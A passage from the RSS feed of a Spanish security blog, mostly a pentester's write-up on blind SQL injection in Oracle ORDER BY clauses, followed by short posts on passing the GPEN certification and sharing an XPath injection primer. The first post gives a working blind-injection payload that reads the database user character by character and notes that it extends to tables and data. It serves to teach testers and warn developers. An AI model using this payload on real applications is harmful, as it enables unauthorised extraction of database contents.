<p style="text-align:justify;">Llegados a este punto, no queda más remedio que intentar una inyección en esos parámetros, a pesar de que existían otras tablas de la aplicación con aspecto idéntico, e idénticos nombres de parámetros que no eran inyectables. Para llevar a cabo esta tarea hay que tener en cuenta un par de peculiaridades sobre las inyecciones en cláusulas Order By, y en Oracle. A saber:</p>
<ul style="text-align:justify;">
<li>No es necesario el uso de comillas: En la cláusula Order By se colocan directamente los nombres de las columnas de la tabla sin necesidad de comillas, por lo que no hará falta para la inyección cerrar comillas previamente abiertas.</li>
<li>No está permitido el uso de UNION: SQL no permite el uso de UNION en la cláusula Order By (tampoco tendría mucho sentido), por lo que no podremos usar ésta técnica para extraer información.</li>
<li>Oracle no permite SELECT sin su correspondiente FROM, por lo que para seleccionar consultas se ha de utilizar la tabla <em>dummy</em> llamada dual.</li>
<li>Lo mismo da ordenar por una columna por nombre (ORDER BY Year) que por posición (ORDER BY 1).</li>
</ul>
<p style="text-align:justify;">Esto provoca que muchos programadores piensen que no es posible inyectar en cláusulas ORDER BY, y descuidan la debida validación de la entrada de usuario para estos casos. Como siempre, lo primero que a uno se le ocurre es meter unas comillas, y ver si la aplicación responde con un error maravilloso denotando que es vulnerable (y facilitando la posterior extracción de datos, ya que no podremos usar UNION). Por desgracia (para mí), las comillas simplemente devolvían la tabla ordenada de la misma forma que se muestra en la primera imagen, es decir, sin orden aparente. El mismo resultado se produce si en lugar de &#8220;Year&#8221;, utilizamos como valor &#8220;España&#8221; o &#8220;Manolito&#8221;. Hasta aquí podría parecer que no es vulnerable, y que quizá el JSP de la página haga un &#8220;switch&#8221; y cree la query a la base de datos sin los valores que estamos manipulando. En ese caso, sería posible que la rama default del switch hiciera la query sin ordenar, algo así:</p>
<p><pre class="brush: cpp;">

switch (Sort_by){
case &quot;Year&quot;:
query+=&quot;ORDER BY Year;&quot;;
break;
case &quot;Month&quot;:
query+=&quot;ORDER BY Month;&quot;;
break;
default:
query+=&quot;;&quot;
break;
}
</pre></p>
<p style="text-align:justify;">Por suerte para nosotros, no es el caso. Lo era en ésta misma aplicación, en tablas anteriores, pero se les olvidó una; y con una basta. La pista la da que si en lugar de SortBy=&#8221;Year&#8221;, enviamos SortBy=1, la tabla se ordena como esperamos, por lo que o el switch cubre muchos casos, o aquí tenemos algo para jugar.</p>
<p style="text-align:justify;">Si repasamos un poco nuestro escenario, tenemos una inyección ciega en un campo ORDER BY en Oracle. Al ser un caso de blind SQLi, no nos queda más remedio que tratar de construir algún tipo de lógica binaria para diferenciar aciertos de errores en las consultas. Probablemente, lo primero que os venga a la cabeza sea construir una consulta que ordene por la primera columna si el resultado es True, y por la segunda si es False. Como ejemplo, vamos a construir dicha query para obtener el primer caracter del usuario con el que corre la instancia de Oracle. Paso a paso:</p>
<p><pre class="brush: sql;">
Select user from dual -- Obtiene el usuario de la instancia de Oracle, utilizando la dummy table dual.

case WHEN (1=1) THEN 1 ELSE 2 END -- Devuelve 1 si (1=1) es True, y 2 en otro caso.

ascii(substr(user,1,1)) -- Devuelve el valor ascii del primer caracter de &quot;user&quot;

Sort_by=(SELECT case WHEN ascii(substr(user,1,1))=80 then 1 else 2 end from (SELECT user from dual)) -- Obtiene el usuario de la tabla dummy dual. De ese string, saca el primer caracter y lo convierte a ascii. Si ese valor es igual a 80, devuelve 1 (ordenando por la primera columna) y si no, devuelve 2 (ordenando por la segunda).
</pre></p>
<p>También se podría haber hecho la query de la siguiente forma (por si a alguien le es más fácil de ver):</p>
<p><pre class="brush: sql;">(case WHEN ascii(substr(SELECT user FROM dual,1,1))=80 then 1 else 2 end)</pre></p>
<p style="text-align:justify;">Conseguido esto sólo queda iterar por los valores de la tabla ascii para conseguir el nombre completo del usuario, o usar la misma idea para obtener las tablas, bases de datos o contenido de las mismas.</p>
<p style="text-align:justify;">Hay dos conclusiones que extraer de esta pequeña entrada. La primera, que a pesar de que parezca que no se va a encontrar un fallo en una aplicación, hay que seguir probando todos los campos hasta el final, porque puede haber sorpresas. La segunda, que las inyecciones en ORDER BY, no sólo son posibles, sino que son muy efectivas, porque habitualmente no están filtradas por los desarrolladores.</p>
<p style="text-align:justify;">Cualquier cosa, me encantará un comentario.</p>
<p style="text-align:justify;">Salud</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/securityetalii.wordpress.com/486/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/securityetalii.wordpress.com/486/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/securityetalii.wordpress.com/486/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/securityetalii.wordpress.com/486/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/securityetalii.wordpress.com/486/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/securityetalii.wordpress.com/486/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/securityetalii.wordpress.com/486/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/securityetalii.wordpress.com/486/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/securityetalii.wordpress.com/486/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/securityetalii.wordpress.com/486/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/securityetalii.wordpress.com/486/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/securityetalii.wordpress.com/486/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/securityetalii.wordpress.com/486/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/securityetalii.wordpress.com/486/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityetalii.es&#038;blog=11665899&#038;post=486&#038;subd=securityetalii&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://securityetalii.es/2012/03/26/oracle-blind-sql-injection-en-order-by/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/d94aca6d1635b1df1cfb55357decc731?s=96&#38;d=http%3A%2F%2F1.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">Adrián</media:title>
		</media:content>

		<media:content url="http://securityetalii.files.wordpress.com/2012/03/tabla.png?w=400" medium="image">
			<media:title type="html">Tabla</media:title>
		</media:content>

		<media:content url="http://securityetalii.files.wordpress.com/2012/03/burporderby1.png" medium="image">
			<media:title type="html">BurpOrderBy</media:title>
		</media:content>
	</item>
		<item>
		<title>Achievement Unlocked: SANS GIAC GPEN</title>
		<link>http://securityetalii.es/2012/03/22/achievement-sans-giac-gpen/</link>
		<comments>http://securityetalii.es/2012/03/22/achievement-sans-giac-gpen/#comments</comments>
		<pubDate>Wed, 21 Mar 2012 23:00:32 +0000</pubDate>
		<dc:creator>Adrián</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[seguridad]]></category>
		<category><![CDATA[certificaciones]]></category>
		<category><![CDATA[GPEN]]></category>
		<category><![CDATA[pentester]]></category>
		<category><![CDATA[SANS]]></category>

		<guid isPermaLink="false">http://securityetalii.es/?p=479</guid>
		<description><![CDATA[Quería poner una pequeña actualización para comentar que hoy hice el examen del GPEN y que ya estoy oficialmente certificado por GIAC. He estado apurando la fecha hasta el último día (sí, me gusta vivir al límite) porque con el cambio de trabajo y residencia se me complicaron las cosas. El centro estaba un poco [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityetalii.es&#038;blog=11665899&#038;post=479&#038;subd=securityetalii&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p style="text-align:justify;">Quería poner una pequeña actualización para comentar que hoy hice el examen del GPEN y que ya estoy oficialmente certificado por GIAC. He estado apurando la fecha hasta el último día (sí, me gusta vivir al límite) porque con el cambio de trabajo y residencia se me complicaron las cosas. El centro estaba un poco en ruinas y hacía algo de frío, pero posiblemente es porque se estaban instalando en la nueva oficina. Además, me quedaba a tres horas en coche (sigh).</p>
<p style="text-align:justify;">Sobre el examen, decir que sigue la tónica de los test de prácticas, pero apenas se repite ninguna pregunta. El nivel de dificultad es similar, aunque hay que sumarle obviamente la presión del examen &#8220;real&#8221;. El examen es &#8220;open book&#8221;, lo que quiere decir que puedes llevar los libros, y cualquier otro apunte que creas que puede serte útil. Cabe decir que, a pesar de que se tienen tan sólo 4 horas para responder 150 preguntas, con un buen índice que te permita encontrar rápidamente las preguntas que no tienes claras, sobra tiempo para completarlo sin prisas.</p>
<p><a href="http://securityetalii.files.wordpress.com/2010/01/gpen.jpg"><br class="Apple-interchange-newline" /><img class="aligncenter size-thumbnail wp-image-477" style="border-style:initial;border-color:initial;" title="GPEN" src="http://securityetalii.files.wordpress.com/2010/01/gpen.jpg?w=150&h=150" alt="GPEN logo" width="150" height="150" /></a></p>
<p style="text-align:justify;">Dicho esto, obtuve un resultado del 95,33%, más que suficiente para aprobar y sentirme orgulloso del resultado. No habría podido obtener éste resultado tan positivo si no hubiera sido por la excelente labor de Mentor que hicieron <a title="Jose Selvi" href="http://www.pentester.es/" target="_blank">Jose Selvi</a> y <a title="Rafa Alfaro" href="https://twitter.com/#!/rafaelalfar0" target="_blank">Rafa Alfaro</a> durante las semanas que duró el curso en Madrid. Los dos dieron unas clases estupendas, se lo curraron muchísimo con el CTF del final y con las explicaciones, además de dar un gran soporte durante el curso.</p>
<p style="text-align:justify;">A tenor del curso, y del contenido de la certificación, estoy muy satisfecho con el temario y creo que es realmente útil para el trabajo diario. El apartado de leyes queda un poco fuera de lugar, pero por lo demás merece la pena, sobretodo si no tienes muchos años de experiencia como pentester. Aún así, creo que incluso la gente con más experiencia podría aprender algún truquillo nuevo. Y aunque no es ni de lejos lo más interesante, debo admitir que la parte sobre la escritura de informes me ha resultado útil.</p>
<p style="text-align:justify;">Por último, darle las gracias a <a title="Miguel López" href="http://www.linkedin.com/profile/view?id=31370809" target="_blank">Miguel López</a>, compañero durante el curso, que amablemente me cedió uno de sus tests de prácticas. Si todo va como está previsto, creo que me apuntaré al GXPN en algún momento de 2012. Quería cerrar el post con una promesa: actualizar más a menudo este año <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p style="text-align:justify;">¡Salud!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/securityetalii.wordpress.com/479/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/securityetalii.wordpress.com/479/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/securityetalii.wordpress.com/479/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/securityetalii.wordpress.com/479/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/securityetalii.wordpress.com/479/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/securityetalii.wordpress.com/479/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/securityetalii.wordpress.com/479/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/securityetalii.wordpress.com/479/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/securityetalii.wordpress.com/479/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/securityetalii.wordpress.com/479/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/securityetalii.wordpress.com/479/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/securityetalii.wordpress.com/479/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/securityetalii.wordpress.com/479/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/securityetalii.wordpress.com/479/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityetalii.es&#038;blog=11665899&#038;post=479&#038;subd=securityetalii&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://securityetalii.es/2012/03/22/achievement-sans-giac-gpen/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/d94aca6d1635b1df1cfb55357decc731?s=96&#38;d=http%3A%2F%2F1.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">Adrián</media:title>
		</media:content>

		<media:content url="http://securityetalii.files.wordpress.com/2010/01/gpen.jpg?w=150" medium="image">
			<media:title type="html">GPEN</media:title>
		</media:content>
	</item>
		<item>
		<title>XPath Injection Primer</title>
		<link>http://securityetalii.es/2012/02/23/xpath-injection-primer/</link>
		<comments>http://securityetalii.es/2012/02/23/xpath-injection-primer/#comments</comments>
		<pubDate>Thu, 23 Feb 2012 18:16:41 +0000</pubDate>
		<dc:creator>Adrián</dc:creator>
				<category><![CDATA[hacking]]></category>
		<category><![CDATA[web hacking]]></category>
		<category><![CDATA[xpath]]></category>
		<category><![CDATA[xpath injection]]></category>

		<guid isPermaLink="false">http://securityetalii.es/?p=468</guid>
		<description><![CDATA[Edit: He publicado una segunda parte de este tema aquí. Estos días he preparado una presentación introductoria (en inglés) sobre XPath Injection para dar como formación interna en la empresa, ya que hay gente nueva que no tiene mucha experiencia. No cubre aspectos avanzados pero sí que comienza con una introducción sobre XML y sobre [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityetalii.es&#038;blog=11665899&#038;post=468&#038;subd=securityetalii&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p style="text-align:justify;"><em><strong>Edit</strong>: He publicado una segunda parte de este tema <a title="Advanced XPath Injection" href="http://securityetalii.es/2012/04/10/advanced-xpath-injection/">aquí</a>.</em></p>
<p style="text-align:justify;">Estos días he preparado una presentación introductoria (en inglés) sobre XPath Injection para dar como formación interna en la empresa, ya que hay gente nueva que no tiene mucha experiencia. No cubre aspectos avanzados pero sí que comienza con una introducción sobre XML y sobre XPath, para después entrar en el tema de XPath Injection. Quizá para la próxima incluya Blind XPath injection y algunos truquillos más, pero por el momento os dejo el powerpoint introductorio que para aquellos que no sepan mucho del tema les vendrá bien.</p>
<p>Para descargarlo podéis pinchar <a title="XPath Injection Primer" href="https://sites.google.com/site/securityetalii/archives/XPATH%20Injection%20Primer%20v1.0.pptx?attredirects=0&amp;d=1" target="_blank">aquí</a>.</p>
<p>¡Salud!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/securityetalii.wordpress.com/468/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/securityetalii.wordpress.com/468/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/securityetalii.wordpress.com/468/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/securityetalii.wordpress.com/468/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/securityetalii.wordpress.com/468/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/securityetalii.wordpress.com/468/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/securityetalii.wordpress.com/468/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/securityetalii.wordpress.com/468/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/securityetalii.wordpress.com/468/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/securityetalii.wordpress.com/468/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/securityetalii.wordpress.com/468/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/securityetalii.wordpress.com/468/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/securityetalii.wordpress.com/468/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/securityetalii.wordpress.com/468/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityetalii.es&#038;blog=11665899&#038;post=468&#038;subd=securityetalii&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://securityetalii.es/2012/02/23/xpath-injection-primer/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/d94aca6d1635b1df1cfb55357decc731?s=96&#38;d=http%3A%2F%2F1.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">Adrián</media:title>
		</media:content>
	</item>
	</channel>
</rss>
